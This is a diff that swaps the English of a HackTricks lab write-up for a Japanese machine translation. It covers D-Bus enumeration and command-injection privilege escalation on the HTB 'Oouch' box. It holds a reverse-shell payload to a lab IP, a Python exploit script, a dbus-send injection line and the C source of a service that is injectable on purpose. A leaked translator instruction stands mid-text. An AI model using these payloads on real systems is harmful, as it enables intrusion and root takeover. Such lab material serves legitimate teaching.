![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) -_Figure 1. D-Feet main window_ +_図1. D-Feetメインウィンドウ_ ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -_Figure 2. D-Feet interface window_ +_図2. D-Feetインターフェースウィンドウ_ -On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the **org.debin.apt** service, and D-Feet automatically **queried the service for all the available objects**. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each **IPC exposed method**. +図1の左側のペインには、D-Busデーモンシステムバスに登録されたさまざまなサービスが表示されます(上部のSystem Busボタンに注意してください)。私は**org.debin.apt**サービスを選択し、D-Feetは自動的に**利用可能なオブジェクトのサービスにクエリを送信**しました。特定のオブジェクトを選択すると、図2に示すように、すべてのインターフェースとそれぞれのメソッド、プロパティ、シグナルがリストされます。また、各**IPC公開メソッドのシグネチャ**も取得できます。 -We can also see the **pid of the process** that hosts each service, as well as its **command line**. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research. +また、各サービスをホストするプロセスの**PID**と**コマンドライン**も表示されます。これは非常に便利な機能であり、調査対象のサービスが実際に高い特権で実行されていることを検証できます。システムバス上の一部のサービスはrootとして実行されないため、研究対象としてはあまり興味深くありません。 -D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service. +D-Feetでは、さまざまなメソッドを呼び出すこともできます。メソッドの入力画面では、呼び出される関数のパラメータとして解釈されるPython式のリストをカンマで区切って指定できます(図3参照)。Pythonの型はD-Busの型にマーシャリングされ、サービスに渡されます。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-23.png) -_Figure 3. Calling D-Bus Methods through D-Feet_ +_図3. D-Feetを介したD-Busメソッドの呼び出し_ -Some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. +一部のメソッドは、呼び出し前に認証が必要です。私たちの目標は、まずは資格情報なしで特権を昇格させることなので、これらのメソッドは無視します。 ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-24.png) -_Figure 4. A method that requires authorization_ +_図4. 認証が必要なメソッド_ -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. +また、一部のサービスは、ユーザーが特定のアクションを実行することが許可されるかどうかを判断するために、org.freedeskto.PolicyKit1という別のD-Busサービスにクエリを送信します。 -## **Cmd line Enumeration** +## **コマンドラインの列挙** -### List Service Objects - -It's possible to list opened D-Bus interfaces with: +### サービスオブジェクトのリスト +次のコマンドを使用して、開かれたD-Busインターフェースをリストアップすることができます: ```bash busctl list #List D-Bus interfaces NAME PID PROCESS USER CONNECTION UNIT SE -:1.0 1 systemd root :1.0 init.scope - +:1.0 1 systemd root :1.0 init.scope - :1.1345 12817 busctl qtc :1.1345 session-729.scope 72 -:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service - -:1.3 2609 dbus-server root :1.3 dbus-server.service - -:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service - -:1.6 2612 systemd-logind root :1.6 systemd-logind.service - -:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… - -:1.820 6583 systemd qtc :1.820 user@1000.service - -com.ubuntu.SoftwareProperties - - - (activatable) - - -fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service - -fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service - -htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service - -org.bluez - - - (activatable) - - -org.freedesktop.DBus 1 systemd root - init.scope - -org.freedesktop.PackageKit - - - (activatable) - - -org.freedesktop.PolicyKit1 - - - (activatable) - - -org.freedesktop.hostname1 - - - (activatable) - - -org.freedesktop.locale1 - - - (activatable) - - +:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service - +:1.3 2609 dbus-server root :1.3 dbus-server.service - +:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service - +:1.6 2612 systemd-logind root :1.6 systemd-logind.service - +:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… - +:1.820 6583 systemd qtc :1.820 user@1000.service - +com.ubuntu.SoftwareProperties - - - (activatable) - - +fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service - +fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service - +htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service - +org.bluez - - - (activatable) - - +org.freedesktop.DBus 1 systemd root - init.scope - +org.freedesktop.PackageKit - - - (activatable) - - +org.freedesktop.PolicyKit1 - - - (activatable) - - +org.freedesktop.hostname1 - - - (activatable) - - +org.freedesktop.locale1 - - - (activatable) - - ``` +#### 接続 -#### Connections +プロセスがバスに接続を設定すると、バスはその接続に対して _ユニークな接続名_ と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変です - 接続が存在する限り変更されないことが保証されており、さらに重要なことに、バスの寿命中に再利用されることはありません。つまり、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、他の接続にはそのようなユニークな接続名が割り当てられることはありません。ユニークな接続名は、それ以外は禁止されているコロン文字で始まるため、簡単に認識できます。 -When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. - -### Service Object Info - -Then, you can obtain some information about the interface with: +### サービスオブジェクト情報 +次に、次のコマンドでインターフェースに関する情報を取得できます: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -117,55 +112,51 @@ Session=n/a AuditLoginUID=n/a AuditSessionID=n/a UniqueName=:1.3 -EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read -PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read +PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read InheritableCapabilities= -BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read ``` +### サービスオブジェクトのインターフェースのリスト -### List Interfaces of a Service Object - -You need to have enough permissions. - +十分な権限を持っている必要があります。 ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb - └─/htb/oouch - └─/htb/oouch/Block +└─/htb/oouch +└─/htb/oouch/Block ``` +### サービスオブジェクトのIntrospectインターフェース -### Introspect Interface of a Service Object - -Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): - +この例では、`tree`パラメータを使用して最新のインターフェースが選択されました(_前のセクションを参照_)。 ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -183,60 +174,50 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` +### モニター/キャプチャーインターフェース -Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. +十分な特権を持っている場合(`send_destination`と`receive_sender`の特権だけでは不十分です)、D-Busの通信を**モニター**することができます。 -### Monitor/Capture Interface - -With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. - -In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +通信を**モニター**するには、**root**である必要があります。rootであっても問題が発生する場合は、[https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/)と[https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)を確認してください。 {% hint style="warning" %} -If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! +D-Busの設定ファイルを構成して、**非rootユーザーが通信をスニッフできるようにする方法**を知っている場合は、**お問い合わせください**! {% endhint %} -Different ways to monitor: - +モニターするための異なる方法: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` - -In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: - +以下の例では、インターフェース `htb.oouch.Block` が監視され、**誤った通信経路でメッセージ "**_**lalalalal**_**" が送信されます**。 ```bash busctl monitor htb.oouch.Block Monitoring bus message stream. ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 - Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block - UniqueName=:1.1376 - MESSAGE "s" { - STRING "lalalalal"; - }; +Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block +UniqueName=:1.1376 +MESSAGE "s" { +STRING "lalalalal"; +}; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 - Sender=:1.3 Destination=:1.1376 - UniqueName=:1.3 - MESSAGE "s" { - STRING "Carried out :D"; - }; +Sender=:1.3 Destination=:1.1376 +UniqueName=:1.3 +MESSAGE "s" { +STRING "Carried out :D"; +}; ``` +`monitor`の代わりに`capture`を使用して、結果をpcapファイルに保存することができます。 -You can use `capture` instead of `monitor` to save the results in a pcap file. - -#### Filtering all the noise - -If there is just too much information on the bus, pass a match rule like so: +#### ノイズをフィルタリングする +バス上の情報があまりにも多い場合は、次のようにマッチルールを渡します: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` - -Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: - +複数のルールを指定することができます。メッセージがいずれかのルールに一致する場合、そのメッセージは表示されます。以下のようになります: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -244,83 +225,76 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` +詳細なマッチルールの構文については、[D-Busのドキュメント](http://dbus.freedesktop.org/doc/dbus-specification.html)を参照してください。 -See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax. +### その他 -### More +`busctl`にはさらに多くのオプションがあります。[**こちらで全てを見つけることができます**](https://www.freedesktop.org/software/systemd/man/busctl.html)。 -`busctl` have even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). - -## **Vulnerable Scenario** - -As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: +## **脆弱なシナリオ** +HTBのホスト「oouch」内のユーザー**qtc**として、_**/etc/dbus-1/system.d/htb.oouch.Block.conf**_という予期しないD-Busの設定ファイルが見つかります。 ```markup +"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" +"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> - - - + + + - - - - + + + + ``` +前の設定からわかるように、このD-BUS通信を介して情報を送受信するには、ユーザー`root`または`www-data`である必要があります。 -Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. - -As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: - +Dockerコンテナ**aeb4525789d8**内のユーザー**qtc**として、ファイル_/code/oouch/routes.py_にいくつかのD-BUS関連のコードがあることがわかります。以下が興味深いコードです: ```python if primitive_xss.search(form.textfield.data): - bus = dbus.SystemBus() - block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') - block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') +bus = dbus.SystemBus() +block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') +block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') - client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) - response = block_iface.Block(client_ip) - bus.close() - return render_template('hacker.html', title='Hacker') +client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) +response = block_iface.Block(client_ip) +bus.close() +return render_template('hacker.html', title='Hacker') ``` +以下は、D-Bus列挙およびコマンドインジェクション特権昇格に関するファイル/hive/hacktricks/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.mdからのコンテンツです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンおよびHTMLの構文を正確に保ちます。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、"leak"という単語、ペンテスト、およびマークダウンタグなどのものは翻訳しないでください。また、翻訳とマークダウン構文以外の追加の要素は追加しないでください。 -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client\_ip". +--- +如何に示されているように、これは**D-Busインターフェースに接続**し、"Block"関数に"client\_ip"を送信しています。 -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ -**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` +D-Bus接続のもう一方には、いくつかのCでコンパイルされたバイナリが実行されています。このコードは、D-Bus接続でIPアドレスを**リッスン**し、`system`関数を介してiptablesを呼び出して指定されたIPアドレスをブロックします。\ +**`system`への呼び出しは意図的にコマンドインジェクションの脆弱性があります**ので、次のようなペイロードを使用するとリバースシェルが作成されます:`;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -### Exploit it - -At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: +### 悪用する +このページの最後には、D-Busアプリケーションの**完全なCコード**があります。その中には、行91-97の間に**`D-Busオブジェクトパス`**と**`インターフェース名`**が**登録**されている方法が記載されています。この情報は、D-Bus接続に情報を送信するために必要になります。 ```c - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); ``` - -Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): - +また、57行目では、このD-Bus通信に登録されている**唯一のメソッド**が`Block`と呼ばれていることがわかります(_**そのため、次のセクションではペイロードが`htb.oouch.Block`というサービスオブジェクト、`/htb/oouch/Block`というインターフェース、および`Block`というメソッド名に送信されることになります**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` - #### Python -The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): - +以下のPythonコードは、D-Bus接続にペイロードを送信し、`block_iface.Block(runme)`を介して`Block`メソッドに送信します(_前のコードの一部から抽出されたものであることに注意してください_): ```python import dbus bus = dbus.SystemBus() @@ -330,23 +304,28 @@ runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #" response = block_iface.Block(runme) bus.close() ``` +#### busctlとdbus-send -#### busctl and dbus-send +`busctl` and `dbus-send` are command-line tools used for interacting with the D-Bus system. D-Bus is a message bus system that allows communication between different processes on the same machine or even across different machines on a network. +`busctl`はD-Busシステムとのやり取りに使用されるコマンドラインツールです。D-Busは、同じマシン上の異なるプロセス間やネットワーク上の異なるマシン間での通信を可能にするメッセージバスシステムです。 + +`dbus-send` is another command-line tool that can be used to send messages to the D-Bus system. It allows you to specify the destination, interface, and method of the message you want to send. + +`dbus-send`は、D-Busシステムにメッセージを送信するために使用される別のコマンドラインツールです。送信したいメッセージの宛先、インターフェース、およびメソッドを指定することができます。 ```bash dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` +* `dbus-send`は、「メッセージバス」にメッセージを送信するためのツールです。 +* メッセージバスは、システム間の通信を容易にするためにシステムで使用されるソフトウェアです。メッセージキューに関連していますが、メッセージバスではメッセージが購読モデルで送信され、非常に迅速です。 +* 「-system」タグは、セッションメッセージではなくシステムメッセージであることを示すために使用されます(デフォルトでは)。 +* 「--print-reply」タグは、メッセージを適切に表示し、人間が読める形式で応答を受け取るために使用されます。 +* 「--dest=Dbus-Interface-Block」は、Dbusインターフェースのアドレスです。 +* 「--string:」は、インターフェースに送信するメッセージのタイプです。メッセージを送信するためのいくつかの形式があります(double、bytes、booleans、int、objpath)。その中で、「オブジェクトパス」は、ファイルのパスをDbusインターフェースに送信したい場合に便利です。この場合、特殊なファイル(FIFO)を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。「string:;」は、再びオブジェクトパスを呼び出すためのもので、FIFOリバースシェルファイル/コマンドの場所を置きます。 -* `dbus-send` is a tool used to send message to “Message Bus” -* Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick. -* “-system” tag is used to mention that it is a system message, not a session message (by default). -* “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format. -* “–dest=Dbus-Interface-Block” The address of the Dbus interface. -* “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command. +_なお、`htb.oouch.Block.Block`では、最初の部分(`htb.oouch.Block`)はサービスオブジェクトを参照し、最後の部分(`.Block`)はメソッド名を参照しています。_ -_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._ - -### C code +### Cコード {% code title="d-bus_server.c" %} ```c @@ -362,131 +341,131 @@ _Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) refere #include static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) { - char* host = NULL; - int r; +char* host = NULL; +int r; - /* Read the parameters */ - r = sd_bus_message_read(m, "s", &host); - if (r < 0) { - fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); - return r; - } +/* Read the parameters */ +r = sd_bus_message_read(m, "s", &host); +if (r < 0) { +fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r)); +return r; +} - char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; +char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP"; - int command_len = strlen(command); - int host_len = strlen(host); +int command_len = strlen(command); +int host_len = strlen(host); - char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); - if(command_buffer == NULL) { - fprintf(stderr, "Failed to allocate memory\n"); - return -1; - } +char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char)); +if(command_buffer == NULL) { +fprintf(stderr, "Failed to allocate memory\n"); +return -1; +} - sprintf(command_buffer, command, host); +sprintf(command_buffer, command, host); - /* In the first implementation, we simply ran command using system(), since the expected DBus - * to be threading automatically. However, DBus does not thread and the application will hang - * forever if some user spawns a shell. Thefore we need to fork (easier than implementing real - * multithreading) - */ - int pid = fork(); +/* In the first implementation, we simply ran command using system(), since the expected DBus +* to be threading automatically. However, DBus does not thread and the application will hang +* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real +* multithreading) +*/ +int pid = fork(); - if ( pid == 0 ) { - /* Here we are in the child process. We execute the command and eventually exit. */ - system(command_buffer); - exit(0); - } else { - /* Here we are in the parent process or an error occured. We simply send a genric message. - * In the first implementation we returned separate error messages for success or failure. - * However, now we cannot wait for results of the system call. Therefore we simply return - * a generic. */ - return sd_bus_reply_method_return(m, "s", "Carried out :D"); - } - r = system(command_buffer); +if ( pid == 0 ) { +/* Here we are in the child process. We execute the command and eventually exit. */ +system(command_buffer); +exit(0); +} else { +/* Here we are in the parent process or an error occured. We simply send a genric message. +* In the first implementation we returned separate error messages for success or failure. +* However, now we cannot wait for results of the system call. Therefore we simply return +* a generic. */ +return sd_bus_reply_method_return(m, "s", "Carried out :D"); +} +r = system(command_buffer); } /* The vtable of our little object, implements the net.poettering.Calculator interface */ static const sd_bus_vtable block_vtable[] = { - SD_BUS_VTABLE_START(0), - SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), - SD_BUS_VTABLE_END +SD_BUS_VTABLE_START(0), +SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), +SD_BUS_VTABLE_END }; int main(int argc, char *argv[]) { - /* - * Main method, registeres the htb.oouch.Block service on the system dbus. - * - * Paramaters: - * argc (int) Number of arguments, not required - * argv[] (char**) Argument array, not required - * - * Returns: - * Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive - * as long as the user keeps it alive. - */ +/* +* Main method, registeres the htb.oouch.Block service on the system dbus. +* +* Paramaters: +* argc (int) Number of arguments, not required +* argv[] (char**) Argument array, not required +* +* Returns: +* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive +* as long as the user keeps it alive. +*/ - /* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ - signal(SIGCHLD,SIG_IGN); +/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */ +signal(SIGCHLD,SIG_IGN); - sd_bus_slot *slot = NULL; - sd_bus *bus = NULL; - int r; +sd_bus_slot *slot = NULL; +sd_bus *bus = NULL; +int r; - /* First we need to connect to the system bus. */ - r = sd_bus_open_system(&bus); - if (r < 0) - { - fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); - goto finish; - } +/* First we need to connect to the system bus. */ +r = sd_bus_open_system(&bus); +if (r < 0) +{ +fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r)); +goto finish; +} - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); - if (r < 0) { - fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); - goto finish; - } +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); +if (r < 0) { +fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r)); +goto finish; +} - /* Register the service name to find out object */ - r = sd_bus_request_name(bus, "htb.oouch.Block", 0); - if (r < 0) { - fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); - goto finish; - } +/* Register the service name to find out object */ +r = sd_bus_request_name(bus, "htb.oouch.Block", 0); +if (r < 0) { +fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r)); +goto finish; +} - /* Infinite loop to process the client requests */ - for (;;) { - /* Process requests */ - r = sd_bus_process(bus, NULL); - if (r < 0) { - fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); - goto finish; - } - if (r > 0) /* we processed a request, try to process another one, right-away */ - continue; +/* Infinite loop to process the client requests */ +for (;;) { +/* Process requests */ +r = sd_bus_process(bus, NULL); +if (r < 0) { +fprintf(stderr, "Failed to process bus: %s\n", strerror(-r)); +goto finish; +} +if (r > 0) /* we processed a request, try to process another one, right-away */ +continue; - /* Wait for the next request to process */ - r = sd_bus_wait(bus, (uint64_t) -1); - if (r < 0) { - fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); - goto finish; - } - } +/* Wait for the next request to process */ +r = sd_bus_wait(bus, (uint64_t) -1); +if (r < 0) { +fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r)); +goto finish; +} +} finish: - sd_bus_slot_unref(slot); - sd_bus_unref(bus); +sd_bus_slot_unref(slot); +sd_bus_unref(bus); - return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; +return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` {% endcode %} @@ -495,10 +474,10 @@ finish: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* 